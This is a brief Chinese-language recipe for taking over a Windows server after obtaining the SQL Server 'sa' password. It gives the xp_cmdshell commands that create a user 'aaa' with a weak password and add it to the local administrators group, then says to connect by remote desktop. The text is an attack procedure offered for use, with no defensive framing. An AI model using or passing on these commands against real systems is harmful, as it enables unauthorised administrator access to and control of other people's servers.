知道了sa密码，控制服务器

一、增加用户aaa
  exec   xp_cmdshell   'net   user aaa aaa   /add'  
二、把aaa加入管理员组
  exec   xp_cmdshell   'net   localgroup   administrators   aaa   /add'  
三、远程桌面进行控制